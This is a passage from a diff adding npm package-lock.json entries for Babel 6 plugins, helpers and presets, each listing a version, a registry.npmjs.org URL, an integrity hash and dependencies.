"babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-define-map": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz", + "integrity": "sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=", + "dev": true, + "dependencies": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "node_modules/babel-helper-explode-assignable-expression": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz", + "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-explode-class": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-explode-class/-/babel-helper-explode-class-6.24.1.tgz", + "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", + "dependencies": { + "babel-helper-bindify-decorators": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-function-name": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz", + "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", + "dependencies": { + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-get-function-arity": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz", + "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-hoist-variables": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz", + "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-optimise-call-expression": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz", + "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-regex": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz", + "integrity": "sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "node_modules/babel-helper-remap-async-to-generator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz", + "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", + "dependencies": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helper-replace-supers": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz", + "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", + "dev": true, + "dependencies": { + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-helpers": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz", + "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-loader": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-7.1.5.tgz", + "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", + "dev": true, + "dependencies": { + "find-cache-dir": "^1.0.0", + "loader-utils": "^1.0.2", + "mkdirp": "^0.5.1" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "babel-core": "6", + "webpack": "2 || 3 || 4" + } + }, + "node_modules/babel-messages": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz", + "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-check-es2015-constants": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz", + "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", + "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==", + "peer": true, + "dependencies": { + "@babel/compat-data": "^7.17.7", + "@babel/helper-define-polyfill-provider": "^0.3.3", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz", + "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==", + "peer": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.3", + "core-js-compat": "^3.25.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz", + "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==", + "peer": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-syntax-async-functions": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz", + "integrity": "sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=" + }, + "node_modules/babel-plugin-syntax-async-generators": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-generators/-/babel-plugin-syntax-async-generators-6.13.0.tgz", + "integrity": "sha1-a8lj67FuzLrmuStZbrfzXDQqi5o=" + }, + "node_modules/babel-plugin-syntax-class-properties": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-class-properties/-/babel-plugin-syntax-class-properties-6.13.0.tgz", + "integrity": "sha1-1+sjt5oxf4VDlixQW4J8fWysJ94=" + }, + "node_modules/babel-plugin-syntax-decorators": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-decorators/-/babel-plugin-syntax-decorators-6.13.0.tgz", + "integrity": "sha1-MSVjtNvePMgGzuPkFszurd0RrAs=" + }, + "node_modules/babel-plugin-syntax-dynamic-import": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-dynamic-import/-/babel-plugin-syntax-dynamic-import-6.18.0.tgz", + "integrity": "sha1-jWomIpyDdFqZgqRBBRVyyqF5sdo=" + }, + "node_modules/babel-plugin-syntax-exponentiation-operator": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz", + "integrity": "sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=" + }, + "node_modules/babel-plugin-syntax-flow": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-flow/-/babel-plugin-syntax-flow-6.18.0.tgz", + "integrity": "sha1-TDqyCiryaqIM0lmVw5jE63AxDI0=", + "dev": true + }, + "node_modules/babel-plugin-syntax-jsx": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", + "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=", + "dev": true + }, + "node_modules/babel-plugin-syntax-object-rest-spread": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz", + "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=" + }, + "node_modules/babel-plugin-syntax-trailing-function-commas": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz", + "integrity": "sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=" + }, + "node_modules/babel-plugin-transform-async-generator-functions": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.24.1.tgz", + "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", + "dependencies": { + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-generators": "^6.5.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-async-to-generator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz", + "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", + "dependencies": { + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-functions": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-class-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-class-properties/-/babel-plugin-transform-class-properties-6.24.1.tgz", + "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", + "dependencies": { + "babel-helper-function-name": "^6.24.1", + "babel-plugin-syntax-class-properties": "^6.8.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-decorators": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-decorators/-/babel-plugin-transform-decorators-6.24.1.tgz", + "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", + "dependencies": { + "babel-helper-explode-class": "^6.24.1", + "babel-plugin-syntax-decorators": "^6.13.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-arrow-functions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz", + "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-block-scoped-functions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz", + "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-block-scoping": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz", + "integrity": "sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "lodash": "^4.17.4" + } + }, + "node_modules/babel-plugin-transform-es2015-classes": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz", + "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", + "dev": true, + "dependencies": { + "babel-helper-define-map": "^6.24.1", + "babel-helper-function-name": "^6.24.1", + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-helper-replace-supers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-computed-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz", + "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-destructuring": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz", + "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-duplicate-keys": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz", + "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-for-of": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz", + "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-function-name": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz", + "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", + "dev": true, + "dependencies": { + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-literals": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz", + "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-modules-amd": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz", + "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", + "dev": true, + "dependencies": { + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-modules-commonjs": { + "version": "6.26.2", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz", + "integrity": "sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q==", + "dev": true, + "dependencies": { + "babel-plugin-transform-strict-mode": "^6.24.1", + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-types": "^6.26.0" + } + }, + "node_modules/babel-plugin-transform-es2015-modules-systemjs": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz", + "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", + "dev": true, + "dependencies": { + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-modules-umd": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz", + "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", + "dev": true, + "dependencies": { + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-object-super": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz", + "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", + "dev": true, + "dependencies": { + "babel-helper-replace-supers": "^6.24.1", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-parameters": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz", + "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", + "dev": true, + "dependencies": { + "babel-helper-call-delegate": "^6.24.1", + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-shorthand-properties": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz", + "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-spread": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz", + "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-sticky-regex": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz", + "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", + "dev": true, + "dependencies": { + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-plugin-transform-es2015-template-literals": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz", + "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-typeof-symbol": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz", + "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-es2015-unicode-regex": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz", + "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", + "dev": true, + "dependencies": { + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "regexpu-core": "^2.0.0" + } + }, + "node_modules/babel-plugin-transform-exponentiation-operator": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz", + "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", + "dependencies": { + "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", + "babel-plugin-syntax-exponentiation-operator": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-flow-strip-types": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-flow-strip-types/-/babel-plugin-transform-flow-strip-types-6.22.0.tgz", + "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", + "dev": true, + "dependencies": { + "babel-plugin-syntax-flow": "^6.18.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-object-rest-spread": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz", + "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=", + "dependencies": { + "babel-plugin-syntax-object-rest-spread": "^6.8.0", + "babel-runtime": "^6.26.0" + } + }, + "node_modules/babel-plugin-transform-react-display-name": { + "version": "6.25.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-display-name/-/babel-plugin-transform-react-display-name-6.25.0.tgz", + "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-react-jsx": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx/-/babel-plugin-transform-react-jsx-6.24.1.tgz", + "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", + "dev": true, + "dependencies": { + "babel-helper-builder-react-jsx": "^6.24.1", + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-react-jsx-self": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-self/-/babel-plugin-transform-react-jsx-self-6.22.0.tgz", + "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", + "dev": true, + "dependencies": { + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-react-jsx-source": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-source/-/babel-plugin-transform-react-jsx-source-6.22.0.tgz", + "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", + "dev": true, + "dependencies": { + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-regenerator": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz", + "integrity": "sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=", + "dev": true, + "dependencies": { + "regenerator-transform": "^0.10.0" + } + }, + "node_modules/babel-plugin-transform-runtime": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-runtime/-/babel-plugin-transform-runtime-6.23.0.tgz", + "integrity": "sha1-iEkNRGUC6puOfvsP4J7E2ZR5se4=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0" + } + }, + "node_modules/babel-plugin-transform-strict-mode": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz", + "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" + } + }, + "node_modules/babel-polyfill": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.26.0.tgz", + "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", + "dev": true, + "dependencies": { + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "regenerator-runtime": "^0.10.5" + } + }, + "node_modules/babel-polyfill/node_modules/regenerator-runtime": { + "version": "0.10.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.10.5.tgz", + "integrity": "sha1-M2w+/BIgrc7dosn6tntaeVWjNlg=", + "dev": true + }, + "node_modules/babel-preset-env": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz", + "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", + "dev": true, + "dependencies": { + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-to-generator": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.23.0", + "babel-plugin-transform-es2015-classes": "^6.23.0", + "babel-plugin-transform-es2015-computed-properties": "^6.22.0", + "babel-plugin-transform-es2015-destructuring": "^6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", + "babel-plugin-transform-es2015-for-of": "^6.23.0", + "babel-plugin-transform-es2015-function-name": "^6.22.0", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.22.0", + "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-umd": "^6.23.0", + "babel-plugin-transform-es2015-object-super": "^6.22.0", + "babel-plugin-transform-es2015-parameters": "^6.23.0", + "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", + "babel-plugin-transform-exponentiation-operator": "^6.22.0", + "babel-plugin-transform-regenerator": "^6.22.0", + "browserslist": "^3.2.6", + "invariant": "^2.2.2", + "semver": "^5.3.0" + } + }, + "node_modules/babel-preset-es2015": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz", + "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", + "deprecated": "🙌 Thanks for using Babel: we recommend using babel-preset-env now: please read https://babeljs.io/env to update!", + "dev": true, + "dependencies": { + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.24.1", + "babel-plugin-transform-es2015-classes": "^6.24.1", + "babel-plugin-transform-es2015-computed-properties": "^6.24.1", + "babel-plugin-transform-es2015-destructuring": "^6.22.0", + "babel-plugin-transform-es2015-duplicate-keys": 